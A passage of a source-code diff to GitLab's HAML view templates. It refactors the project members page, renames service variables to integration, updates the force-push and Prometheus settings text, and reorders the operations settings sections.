= render 'shared/members/invite_member', submit_url: project_project_members_path(@project), access_levels: ProjectMember.access_level_roles, default_access_level: @project_member.access_level, can_import_members?: can_import_members?, import_path: import_project_project_members_path(@project)
.tab-pane{ id: 'invite-group-pane', role: 'tabpanel', class: ('active' if membership_locked?) }
- = render 'shared/members/invite_group', submit_url: project_group_links_path(@project), access_levels: ProjectGroupLink.access_options, default_access_level: ProjectGroupLink.default_access, group_link_field: 'link_group_id', group_access_field: 'link_group_access'
+ = render 'shared/members/invite_group', submit_url: project_group_links_path(@project), access_levels: ProjectGroupLink.access_options, default_access_level: ProjectGroupLink.default_access, group_link_field: 'link_group_id', group_access_field: 'link_group_access', groups_select_tag_data: { skip_groups: @skip_groups }
- elsif !membership_locked?
.invite-member= render 'shared/members/invite_member', submit_url: project_project_members_path(@project), access_levels: ProjectMember.access_level_roles, default_access_level: @project_member.access_level, can_import_members?: can_import_members?, import_path: import_project_project_members_path(@project)
- elsif @project.allowed_to_share_with_group?
- .invite-group= render 'shared/members/invite_group', access_levels: ProjectGroupLink.access_options, default_access_level: ProjectGroupLink.default_access, submit_url: project_group_links_path(@project), group_link_field: 'link_group_id', group_access_field: 'link_group_access'
- %ul.nav-links.mobile-separator.nav.nav-tabs
- %li.nav-item
- = link_to '#tab-members', class: ['nav-link', ('active' unless groups_tab_active?)], data: { toggle: 'tab' } do
- %span
- = _('Members')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @project_members.total_count
- - if show_groups?(@group_links)
- %li.nav-item
- = link_to '#tab-groups', class: ['nav-link', ('active' if groups_tab_active?)] , data: { toggle: 'tab', qa_selector: 'groups_list_tab' } do
- %span
- = _('Groups')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @group_links.count
- - if show_invited_members?(@project, @invited_members)
- %li.nav-item
- = link_to '#tab-invited-members', class: 'nav-link', data: { toggle: 'tab' } do
- %span
- = _('Invited')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @invited_members.count
- - if show_access_requests?(@project, @requesters)
- %li.nav-item
- = link_to '#tab-access-requests', class: 'nav-link', data: { toggle: 'tab' } do
- %span
- = _('Access requests')
- %span.badge.gl-tab-counter-badge.badge-muted.badge-pill.gl-badge.sm= @requesters.count
- .tab-content
- #tab-members.tab-pane{ class: ('active' unless groups_tab_active?) }
- .js-project-members-list{ data: { members_data: project_members_list_data_json(@project, @project_members, { param_name: :page, params: { search_groups: nil } }) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if show_groups?(@group_links)
- #tab-groups.tab-pane{ class: ('active' if groups_tab_active?) }
- .js-project-group-links-list{ data: { members_data: project_group_links_list_data_json(@project, @group_links) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if show_invited_members?(@project, @invited_members)
- #tab-invited-members.tab-pane
- .js-project-invited-members-list{ data: { members_data: project_members_list_data_json(@project, @invited_members) } }
- .loading
- .gl-spinner.gl-spinner-md
- - if show_access_requests?(@project, @requesters)
- #tab-access-requests.tab-pane
- .js-project-access-requests-list{ data: { members_data: project_members_list_data_json(@project, @requesters) } }
- .loading
- .gl-spinner.gl-spinner-md
+ .invite-group= render 'shared/members/invite_group', access_levels: ProjectGroupLink.access_options, default_access_level: ProjectGroupLink.default_access, submit_url: project_group_links_path(@project), group_link_field: 'link_group_id', group_access_field: 'link_group_access', groups_select_tag_data: { skip_groups: @skip_groups }
+ .js-project-members-list-app{ data: { members_data: project_members_app_data_json(@project,
+ members: @project_members,
+ group_links: @group_links,
+ invited: @invited_members,
+ access_requests: @requesters) } }
+ .loading
+ .gl-spinner.gl-spinner-md
diff --git a/app/views/projects/protected_branches/shared/_branches_list.html.haml b/app/views/projects/protected_branches/shared/_branches_list.html.haml
index 2691513c994..b13117960dd 100644
--- a/app/views/projects/protected_branches/shared/_branches_list.html.haml
+++ b/app/views/projects/protected_branches/shared/_branches_list.html.haml
@@ -8,10 +8,11 @@
.flash-container
%table.table.table-bordered
%colgroup
+ %col{ width: "30%" }
%col{ width: "20%" }
%col{ width: "20%" }
- %col{ width: "20%" }
- %col{ width: "20%" }
+ %col{ width: "10%" }
+ %col{ width: "10%" }
- if can_admin_project
%col
%thead
@@ -22,12 +23,10 @@
= s_("ProtectedBranch|Allowed to merge")
%th
= s_("ProtectedBranch|Allowed to push")
-
- - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
- %th
- = s_("ProtectedBranch|Allow force push")
- %span.has-tooltip{ data: { container: 'body' }, title: s_('ProtectedBranch|Allow force push for all users with push access.'), 'aria-hidden': 'true' }
- = sprite_icon('question', size: 16, css_class: 'gl-text-gray-500')
+ %th
+ = s_("ProtectedBranch|Allowed to force push")
+ %span.has-tooltip{ data: { container: 'body' }, title: s_('ProtectedBranch|Allow all users with push access to force push.'), 'aria-hidden': 'true' }
+ = sprite_icon('question', size: 16, css_class: 'gl-text-gray-500')
= render_if_exists 'projects/protected_branches/ee/code_owner_approval_table_head'
diff --git a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
index 9fdcea96c00..ad131b22924 100644
--- a/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
+++ b/app/views/projects/protected_branches/shared/_create_protected_branch.html.haml
@@ -21,13 +21,14 @@
= f.label :push_access_levels_attributes, s_("ProtectedBranch|Allowed to push:"), class: 'col-md-2 text-left text-md-right'
.col-md-10
= yield :push_access_levels
- - if ::Feature.enabled?(:allow_force_push_to_protected_branches, @project, default_enabled: :yaml)
- .form-group.row
- = f.label :allow_force_push, s_("ProtectedBranch|Allow force push:"), class: 'col-md-2 gl-text-left text-md-right'
- .col-md-10
- = render "shared/buttons/project_feature_toggle", class_list: "js-force-push-toggle project-feature-toggle"
- .form-text.gl-text-gray-600.gl-mt-0
- = s_("ProtectedBranch|Allow force push for all users with push access.")
+ .form-group.row
+ = f.label :allow_force_push, s_("ProtectedBranch|Allowed to force push:"), class: 'col-md-2 gl-text-left text-md-right'
+ .col-md-10
+ = render "shared/buttons/project_feature_toggle", class_list: "js-force-push-toggle project-feature-toggle"
+ .form-text.gl-text-gray-600.gl-mt-0
+ - force_push_docs_url = help_page_url('topics/git/git_rebase', anchor: 'force-push')
+ - force_push_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: force_push_docs_url }
+ = (s_("ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}.") % { tag_start: force_push_link_start, tag_end: '</a>' }).html_safe
= render_if_exists 'projects/protected_branches/ee/code_owner_approval_form', f: f
.card-footer
= f.submit s_('ProtectedBranch|Protect'), class: 'gl-button btn btn-confirm', disabled: true, data: { qa_selector: 'protect_button' }
diff --git a/app/views/projects/protected_branches/shared/_index.html.haml b/app/views/projects/protected_branches/shared/_index.html.haml
index c2a5efa7b7c..08246a173d8 100644
--- a/app/views/projects/protected_branches/shared/_index.html.haml
+++ b/app/views/projects/protected_branches/shared/_index.html.haml
@@ -14,7 +14,7 @@
%ul
%li Allow only users with Maintainer #{link_to "permissions", help_page_path("user/permissions")} to create new protected branches.
%li Allow only users with Maintainer permissions to push code.
- %li Prevent <strong>anyone</strong> from force-pushing to the branch.
+ %li Prevent <strong>anyone</strong> from #{link_to "force-pushing", help_page_path('topics/git/git_rebase', anchor: 'force-push')} to the branch.
%li Prevent <strong>anyone</strong> from deleting the branch.
- if can? current_user, :admin_project, @project
diff --git a/app/views/projects/registry/repositories/index.html.haml b/app/views/projects/registry/repositories/index.html.haml
index f56fd7f557d..bdb5f021b70 100644
--- a/app/views/projects/registry/repositories/index.html.haml
+++ b/app/views/projects/registry/repositories/index.html.haml
@@ -18,6 +18,8 @@
"project_path": @project.full_path,
"gid_prefix": container_repository_gid_prefix,
"is_admin": current_user&.admin.to_s,
+ "show_cleanup_policy_on_alert": show_cleanup_policy_on_alert(@project).to_s,
+ "cleanup_policies_settings_path": project_settings_packages_and_registries_path(@project),
character_error: @character_error.to_s,
user_callouts_path: user_callouts_path,
user_callout_id: UserCalloutsHelper::UNFINISHED_TAG_CLEANUP_CALLOUT,
diff --git a/app/views/projects/runners/_specific_runners.html.haml b/app/views/projects/runners/_specific_runners.html.haml
index 88895634990..210cc414007 100644
--- a/app/views/projects/runners/_specific_runners.html.haml
+++ b/app/views/projects/runners/_specific_runners.html.haml
@@ -7,6 +7,10 @@
= render partial: 'ci/runner/how_to_setup_runner_automatically',
locals: { type: 'specific',
clusters_path: project_clusters_path(@project) }
+ - if params[:ci_runner_templates]
+ %hr
+ = render partial: 'ci/runner/setup_runner_in_aws',
+ locals: { registration_token: @project.runners_token }
%hr
= render partial: 'ci/runner/how_to_setup_runner',
locals: { registration_token: @project.runners_token,
diff --git a/app/views/projects/services/_form.html.haml b/app/views/projects/services/_form.html.haml
index 3c99b4c5e68..724684c9a0a 100644
--- a/app/views/projects/services/_form.html.haml
+++ b/app/views/projects/services/_form.html.haml
@@ -1,15 +1,15 @@
-- if lookup_context.template_exists?('top', "projects/services/#{@service.to_param}", true)
- = render "projects/services/#{@service.to_param}/top"
+- if lookup_context.template_exists?('top', "projects/services/#{integration.to_param}", true)
+ = render "projects/services/#{integration.to_param}/top", integration: integration
%h3.page-title
- = @service.title
- - if @service.operating?
+ = integration.title
+ - if integration.operating?
= sprite_icon('check', css_class: 'gl-text-green-500')
-= form_for(@service, as: :service, url: scoped_integration_path(@service), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => test_project_service_path(@project, @service) } }) do |form|
- = render 'shared/service_settings', form: form, integration: @service
- %input{ id: 'services_redirect_to', type: 'hidden', name: 'redirect_to', value: request.referrer }
+= form_for(integration, as: :service, url: scoped_integration_path(integration), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => test_project_service_path(@project, integration) } }) do |form|
+ = render 'shared/service_settings', form: form, integration: integration
+ %input{ id: 'services_redirect_to', type: 'hidden', name: 'redirect_to', value: request.referer }
-- if lookup_context.template_exists?('show', "projects/services/#{@service.to_param}", true)
+- if lookup_context.template_exists?('show', "projects/services/#{integration.to_param}", true)
%hr
- = render "projects/services/#{@service.to_param}/show"
+ = render "projects/services/#{integration.to_param}/show", integration: integration
diff --git a/app/views/projects/services/edit.html.haml b/app/views/projects/services/edit.html.haml
index 1aaea50c8d5..a250daafdbb 100644
--- a/app/views/projects/services/edit.html.haml
+++ b/app/views/projects/services/edit.html.haml
@@ -1,8 +1,9 @@
-- breadcrumb_title @service.title
+- breadcrumb_title @integration.title
- add_to_breadcrumbs _('Integration Settings'), project_settings_integrations_path(@project)
-- page_title @service.title, _('Integrations')
+- page_title @integration.title, _('Integrations')
- @content_class = 'limit-container-width' unless fluid_layout
-= render 'form'
+= render 'form', integration: @integration
+
- if @web_hook_logs
- = render partial: 'projects/hook_logs/index', locals: { hook: @service.service_hook, hook_logs: @web_hook_logs, project: @project }
+ = render partial: 'projects/hook_logs/index', locals: { hook: @integration.service_hook, hook_logs: @web_hook_logs, project: @project }
diff --git a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
index fe983961657..9d8ce186232 100644
--- a/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_detailed_help.html.haml
@@ -57,7 +57,7 @@
.form-group
= label_tag :request_url, s_('MattermostService|Request URL'), class: 'col-12 col-form-label label-bold'
.col-12.input-group
- = text_field_tag :request_url, service_trigger_url(subject), class: 'form-control form-control-sm', readonly: 'readonly'
+ = text_field_tag :request_url, service_trigger_url(integration), class: 'form-control form-control-sm', readonly: 'readonly'
.input-group-append
= clipboard_button(target: '#request_url', class: 'input-group-text')
diff --git a/app/views/projects/services/mattermost_slash_commands/_help.html.haml b/app/views/projects/services/mattermost_slash_commands/_help.html.haml
index 4a7757daebc..993df389fb0 100644
--- a/app/views/projects/services/mattermost_slash_commands/_help.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_help.html.haml
@@ -10,8 +10,8 @@
%p.inline
= s_("MattermostService|After you configure the integration, view your new Mattermost commands by entering")
%kbd.inline /&lt;trigger&gt; help
- - if !enabled && @service.project_level?
- = render 'projects/services/mattermost_slash_commands/detailed_help', subject: @service
+ - if !enabled && integration.project_level?
+ = render 'projects/services/mattermost_slash_commands/detailed_help', integration: integration
-- if enabled && @service.project_level?
- = render 'projects/services/mattermost_slash_commands/installation_info', subject: @service
+- if enabled && integration.project_level?
+ = render 'projects/services/mattermost_slash_commands/installation_info', integration: integration
diff --git a/app/views/projects/services/mattermost_slash_commands/_installation_info.html.haml b/app/views/projects/services/mattermost_slash_commands/_installation_info.html.haml
index 53ee363de53..38adc69dd5e 100644
--- a/app/views/projects/services/mattermost_slash_commands/_installation_info.html.haml
+++ b/app/views/projects/services/mattermost_slash_commands/_installation_info.html.haml
@@ -1,5 +1,5 @@
.services-installation-info
- - unless @service.activated?
+ - unless integration.activated?
.row
.col-sm-9.offset-sm-3
= link_to new_project_mattermost_path(@project), class: 'btn gl-button btn-lg' do
diff --git a/app/views/projects/services/prometheus/_configuration_banner.html.haml b/app/views/projects/services/prometheus/_configuration_banner.html.haml
index 3786b845692..a34aa22acbb 100644
--- a/app/views/projects/services/prometheus/_configuration_banner.html.haml
+++ b/app/views/projects/services/prometheus/_configuration_banner.html.haml
@@ -1,26 +1,26 @@
%h4
- = s_('PrometheusService|Auto configuration')
+ = s_('PrometheusService|Prometheus cluster integration')
-- if service.manual_configuration?
+- if integration.manual_configuration?
.info-well
- = s_('PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration.')
+ = s_('PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration.')
- else
.container-fluid
.row
- - if service.prometheus_available?
+ - if integration.prometheus_available?
.col-sm-2
.svg-container
= image_tag 'illustrations/monitoring/getting_started.svg'
.col-sm-10
%p.text-success.gl-mt-3
- = s_('PrometheusService|GitLab is managing Prometheus on your clusters.')
+ = s_('PrometheusService|You have a cluster with the Prometheus integration enabled.')
= link_to s_('PrometheusService|Manage clusters'), project_clusters_path(project), class: 'btn gl-button'
- else
.col-sm-2
= image_tag 'illustrations/monitoring/loading.svg'
.col-sm-10
%p.gl-mt-3
- = s_('PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments.')
- = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'btn gl-button btn-confirm'
+ = s_('PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters.')
+ = link_to s_('PrometheusService|Manage clusters'), project_clusters_path(project), class: 'btn gl-button btn-confirm'
%hr
diff --git a/app/views/projects/services/prometheus/_custom_metrics.html.haml b/app/views/projects/services/prometheus/_custom_metrics.html.haml
index a901d5b3575..724950bcb39 100644
--- a/app/views/projects/services/prometheus/_custom_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_custom_metrics.html.haml
@@ -6,7 +6,7 @@
= link_to s_('PrometheusService|More information'), help_page_path('operations/metrics/index.md', anchor: 'adding-custom-metrics'), target: '_blank', rel: "noopener noreferrer"
.col-lg-9
- .card.custom-monitored-metrics.js-panel-custom-monitored-metrics{ data: { qa_selector: 'custom_metrics_container', active_custom_metrics: project_prometheus_metrics_path(project), environments_data: environments_list_data, service_active: "#{@service.active}" } }
+ .card.custom-monitored-metrics.js-panel-custom-monitored-metrics{ data: { qa_selector: 'custom_metrics_container', active_custom_metrics: project_prometheus_metrics_path(project), environments_data: environments_list_data, service_active: "#{integration.active}" } }
.card-header
%strong
= s_('PrometheusService|Custom metrics')
diff --git a/app/views/projects/services/prometheus/_external_alerts.html.haml b/app/views/projects/services/prometheus/_external_alerts.html.haml
index b27b1ab8723..168b4853a9a 100644
--- a/app/views/projects/services/prometheus/_external_alerts.html.haml
+++ b/app/views/projects/services/prometheus/_external_alerts.html.haml
@@ -1,5 +1,5 @@
- return unless can?(current_user, :read_prometheus_alerts, @project)
-- return unless @service.manual_configuration?
+- return unless integration.manual_configuration?
- notify_url = notify_project_prometheus_alerts_url(@project, format: :json)
- authorization_key = @project.alerting_setting.try(:token)
diff --git a/app/views/projects/services/prometheus/_help.html.haml b/app/views/projects/services/prometheus/_help.html.haml
index 04bd800c47a..9b3cb8893c4 100644
--- a/app/views/projects/services/prometheus/_help.html.haml
+++ b/app/views/projects/services/prometheus/_help.html.haml
@@ -1,5 +1,5 @@
- if @project
- = render 'projects/services/prometheus/configuration_banner', project: @project, service: @service
+ = render 'projects/services/prometheus/configuration_banner', project: @project, integration: integration
%h4.gl-mb-3
= s_('PrometheusService|Manual configuration')
diff --git a/app/views/projects/services/prometheus/_metrics.html.haml b/app/views/projects/services/prometheus/_metrics.html.haml
index 4bafd4d06e0..09fe77b8a9c 100644
--- a/app/views/projects/services/prometheus/_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_metrics.html.haml
@@ -1,6 +1,6 @@
- project = local_assigns.fetch(:project)
-= render 'projects/services/prometheus/custom_metrics', project: project
+= render 'projects/services/prometheus/custom_metrics', project: project, integration: integration
.col-lg-3
%p
diff --git a/app/views/projects/services/prometheus/_show.html.haml b/app/views/projects/services/prometheus/_show.html.haml
index 9ce61ed5c13..3350ac8a6c5 100644
--- a/app/views/projects/services/prometheus/_show.html.haml
+++ b/app/views/projects/services/prometheus/_show.html.haml
@@ -4,6 +4,6 @@
= s_('PrometheusService|Metrics')
.row.gl-mb-3.prometheus-metrics-monitoring.js-prometheus-metrics-monitoring
- = render 'projects/services/prometheus/metrics', project: @project
+ = render 'projects/services/prometheus/metrics', project: @project, integration: integration
-= render 'projects/services/prometheus/external_alerts', project: @project
+= render 'projects/services/prometheus/external_alerts', project: @project, integration: integration
diff --git a/app/views/projects/services/prometheus/_top.html.haml b/app/views/projects/services/prometheus/_top.html.haml
index db02ea85865..f7446273a80 100644
--- a/app/views/projects/services/prometheus/_top.html.haml
+++ b/app/views/projects/services/prometheus/_top.html.haml
@@ -1,4 +1,4 @@
-- return unless @service.manual_configuration?
+- return unless integration.manual_configuration?
.row
.col-lg-12
diff --git a/app/views/projects/services/slack_slash_commands/_help.html.haml b/app/views/projects/services/slack_slash_commands/_help.html.haml
index b68addcb093..9702f9b08f2 100644
--- a/app/views/projects/services/slack_slash_commands/_help.html.haml
+++ b/app/views/projects/services/slack_slash_commands/_help.html.haml
@@ -11,7 +11,7 @@
%p.inline
= s_("SlackService|See list of available commands in Slack after setting up this service, by entering")
%kbd.inline /&lt;command&gt; help
- - if @service.project_level?
+ - if integration.project_level?
%p= _("To set up this service:")
%ul.list-unstyled.indent-list
%li
@@ -39,7 +39,7 @@
.form-group
= label_tag :url, 'URL', class: 'col-12 col-form-label label-bold'
.col-12.input-group
- = text_field_tag :url, service_trigger_url(subject), class: 'form-control form-control-sm', readonly: 'readonly'
+ = text_field_tag :url, service_trigger_url(integration), class: 'form-control form-control-sm', readonly: 'readonly'
.input-group-append
= clipboard_button(target: '#url', class: 'input-group-text')
diff --git a/app/views/projects/settings/_general.html.haml b/app/views/projects/settings/_general.html.haml
index 845fb299b74..0891e3e0526 100644
--- a/app/views/projects/settings/_general.html.haml
+++ b/app/views/projects/settings/_general.html.haml
@@ -15,8 +15,8 @@
.row
.form-group.col-md-9
- = f.label :tag_list, _('Topics (optional)'), class: 'label-bold'
- = f.text_field :tag_list, value: @project.tag_list.join(', '), maxlength: 2000, class: "form-control gl-form-input"
+ = f.label :topics, _('Topics (optional)'), class: 'label-bold'
+ = f.text_field :topics, value: @project.topic_list.join(', '), maxlength: 2000, class: "form-control gl-form-input"
%p.form-text.text-muted= _('Separate topics with commas.')
= render_if_exists 'compliance_management/compliance_framework/project_settings', f: f
diff --git a/app/views/projects/settings/ci_cd/_form.html.haml b/app/views/projects/settings/ci_cd/_form.html.haml
index c4b5c23be13..c89c9879f4b 100644
--- a/app/views/projects/settings/ci_cd/_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_form.html.haml
@@ -18,7 +18,7 @@
= f.label :auto_cancel_pending_pipelines, class: 'form-check-label' do
%strong= _("Auto-cancel redundant pipelines")
.form-text.text-muted
- = _("New pipelines cause older pending pipelines on the same branch to be cancelled.")
+ = _("New pipelines cause older pending or running pipelines on the same branch to be cancelled.")
= link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'auto-cancel-redundant-pipelines'), target: '_blank'
.form-group
@@ -36,7 +36,7 @@
= f.text_field :ci_config_path, class: 'form-control', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
= html_escape(_("The name of the CI/CD configuration file. A path relative to the root directory is optional (for example %{code_open}my/path/.myfile.yml%{code_close}).")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-path'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-cicd-configuration-file'), target: '_blank'
%hr
.form-group
diff --git a/app/views/projects/settings/ci_cd/show.html.haml b/app/views/projects/settings/ci_cd/show.html.haml
index d955dabd04c..ade3d40a8df 100644
--- a/app/views/projects/settings/ci_cd/show.html.haml
+++ b/app/views/projects/settings/ci_cd/show.html.haml
@@ -76,17 +76,7 @@
= render 'projects/triggers/index'
- if settings_container_registry_expiration_policy_available?(@project)
- %section.settings.no-animate#js-registry-policies{ class: ('expanded' if expanded) }
- .settings-header
- %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- = _("Clean up image tags")
- %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
- = expanded ? _('Collapse') : _('Expand')
- %p
- = _("Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want.")
- = link_to _('How does cleanup work?'), help_page_path('user/packages/container_registry/index', anchor: 'cleanup-policy'), target: '_blank', rel: 'noopener noreferrer'
- .settings-content
- = render 'projects/registry/settings/index'
+ = render 'projects/registry/settings/index'
= render_if_exists 'projects/settings/ci_cd/auto_rollback', expanded: expanded
diff --git a/app/views/projects/settings/integrations/show.html.haml b/app/views/projects/settings/integrations/show.html.haml
index af37795a7c5..84635941436 100644
--- a/app/views/projects/settings/integrations/show.html.haml
+++ b/app/views/projects/settings/integrations/show.html.haml
@@ -2,18 +2,8 @@
- breadcrumb_title _('Integration Settings')
- page_title _('Integrations')
-- if show_webhooks_moved_alert?
- .gl-alert.gl-alert-info.js-webhooks-moved-alert.gl-mt-3{ role: 'alert', data: { feature_id: UserCalloutsHelper::WEBHOOKS_MOVED, dismiss_endpoint: user_callouts_path } }
- = sprite_icon('information-o', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
- .gl-alert-body
- = _('Webhooks have moved. They can now be found under the Settings menu.')
- .gl-alert-actions
- = link_to _('Go to Webhooks'), project_hooks_path(@project), class: 'gl-button btn gl-alert-action btn-info'
-
%h3= _('Integrations')
- integrations_link_start = '<a href="%{url}">'.html_safe % { url: help_page_url('user/project/integrations/overview') }
- webhooks_link_start = '<a href="%{url}">'.html_safe % { url: project_hooks_path(@project) }
%p= _("%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}.").html_safe % { integrations_link_start: integrations_link_start, webhooks_link_start: webhooks_link_start, link_end: '</a>'.html_safe }
-= render 'shared/integrations/index', integrations: @services
+= render 'shared/integrations/index', integrations: @integrations
diff --git a/app/views/projects/settings/operations/_alert_management.html.haml b/app/views/projects/settings/operations/_alert_management.html.haml
index 0418d7df42d..34255af9cc6 100644
--- a/app/views/projects/settings/operations/_alert_management.html.haml
+++ b/app/views/projects/settings/operations/_alert_management.html.haml
@@ -6,7 +6,7 @@
%section.settings.no-animate#js-alert-management-settings{ class: ('expanded' if expanded) }
.settings-header
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- = _('Alert integrations')
+ = _('Alerts')
%button.gl-button.btn.btn-default.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
diff --git a/app/views/projects/settings/operations/_configuration_banner.html.haml b/app/views/projects/settings/operations/_configuration_banner.html.haml
index 6fa6b23b0da..9803ffc3c4e 100644
--- a/app/views/projects/settings/operations/_configuration_banner.html.haml
+++ b/app/views/projects/settings/operations/_configuration_banner.html.haml
@@ -1,9 +1,9 @@
%b
- = s_('PrometheusService|Auto configuration')
+ = s_('PrometheusService|Prometheus cluster integration')
- if service.manual_configuration?
.info-well.p-2.mt-2
- = s_('PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration.')
+ = s_('PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration.')
- else
.container-fluid
.row
@@ -13,12 +13,12 @@
= image_tag 'illustrations/monitoring/getting_started.svg'
.col-sm-10
%p.text-success.gl-mt-3
- = s_('PrometheusService|GitLab manages Prometheus on your clusters.')
+ = s_('PrometheusService|You have a cluster with the Prometheus integration enabled.')
= link_to s_('PrometheusService|Manage clusters'), project_clusters_path(project), class: 'gl-button btn btn-default'
- else
.col-sm-2
= image_tag 'illustrations/monitoring/loading.svg'
.col-sm-10
%p.gl-mt-3
- = s_('PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters.')
- = link_to s_('PrometheusService|Install Prometheus on clusters'), project_clusters_path(project), class: 'gl-button btn btn-confirm'
+ = s_('PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters.')
+ = link_to s_('PrometheusService|Manage clusters'), project_clusters_path(project), class: 'btn gl-button btn-confirm'
diff --git a/app/views/projects/settings/operations/_tracing.html.haml b/app/views/projects/settings/operations/_tracing.html.haml
index a591fa33096..343fd22c051 100644
--- a/app/views/projects/settings/operations/_tracing.html.haml
+++ b/app/views/projects/settings/operations/_tracing.html.haml
@@ -1,23 +1,13 @@
- setting = tracing_setting
-- has_jaeger_url = setting.external_url.present?
%section.settings.border-0.no-animate
- .settings-header{ :class => "border-top" }
+ .settings-header{ :class => 'border-top' }
%h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- = _("Jaeger tracing")
+ = _('Tracing')
%button.btn.btn-default.gl-button.js-settings-toggle{ type: 'button' }
= _('Expand')
%p
- - if has_jaeger_url
- - tracing_link = link_to sanitize(setting.external_url, scrubber: Rails::Html::TextOnlyScrubber.new), target: "_blank", rel: 'noopener noreferrer' do
- %span
- = _('Tracing')
- = sprite_icon('external-link', css_class: 'ml-1 vertical-align-middle')
- - else
- - tracing_link = link_to project_tracing_path(@project) do
- %span
- = _('Tracing')
- = _("To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server.").html_safe % { link: tracing_link }
+ = _('Embed an image of your existing Jaeger server in GitLab.')
= link_to _('Learn more.'), help_page_path('operations/tracing'), target: '_blank', rel: 'noopener noreferrer'
.settings-content
= form_for @project, url: project_settings_operations_path(@project), method: :patch do |f|
@@ -27,8 +17,8 @@
= form.label :external_url, _('Jaeger URL'), class: 'label-bold'
= form.url_field :external_url, class: 'form-control gl-form-input', placeholder: 'https://jaeger.example.com'
%p.form-text.text-muted
- - jaeger_help_url = "https://www.jaegertracing.io/docs/getting-started/"
+ - jaeger_help_url = 'https://www.jaegertracing.io/docs/getting-started/'
- link_start_tag = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: jaeger_help_url }
- - link_end_tag = "#{sprite_icon('external-link', css_class: 'ml-1 vertical-align-middle')}</a>".html_safe
- = _("Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}.").html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
+ - link_end_tag = "#{sprite_icon('external-link', css_class: 'gl-ml-2 gl-vertical-align-middle')}</a>".html_safe
+ = _('Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}.').html_safe % { link_start_tag: link_start_tag, link_end_tag: link_end_tag }
= f.submit _('Save changes'), class: 'gl-button btn btn-confirm'
diff --git a/app/views/projects/settings/operations/show.html.haml b/app/views/projects/settings/operations/show.html.haml
index af183046e1e..e2c1a00a587 100644
--- a/app/views/projects/settings/operations/show.html.haml
+++ b/app/views/projects/settings/operations/show.html.haml
@@ -3,11 +3,11 @@
- page_title title
- breadcrumb_title title
+= render 'projects/settings/operations/metrics_dashboard'
+= render 'projects/settings/operations/tracing'
+= render 'projects/settings/operations/error_tracking'
= render 'projects/settings/operations/alert_management'
= render 'projects/settings/operations/incidents'
-= render 'projects/settings/operations/error_tracking'
-= render 'projects/settings/operations/prometheus', service: prometheus_service if Feature.enabled?(:settings_operations_prometheus_service)
-= render 'projects/settings/operations/metrics_dashboard'
= render 'projects/settings/operations/grafana_integration'
-= render 'projects/settings/operations/tracing'
= render_if_exists 'projects/settings/operations/status_page'
+= render 'projects/settings/operations/prometheus', service: prometheus_service if Feature.enabled?(:settings_operations_prometheus_service)
diff --git a/app/views/projects/settings/packages_and_registries/show.html.haml b/app/views/projects/settings/packages_and_registries/show.html.haml
index 561ac7b347d..626ddc20431 100644
--- a/app/views/projects/settings/packages_and_registries/show.html.haml
+++ b/app/views/projects/settings/packages_and_registries/show.html.haml
@@ -1,16 +1,15 @@
- breadcrumb_title _('Packages & Registries')
- page_title _('Packages & Registries')
- @content_class = 'limit-container-width' unless fluid_layout
-- expanded = true
-%section.settings.no-animate#js-registry-policies{ class: ('expanded' if expanded) }
- .settings-header
- %h4.settings-title.js-settings-toggle.js-settings-toggle-trigger-only
- = _("Clean up image tags")
- %button.btn.gl-button.btn-default.js-settings-toggle{ type: 'button' }
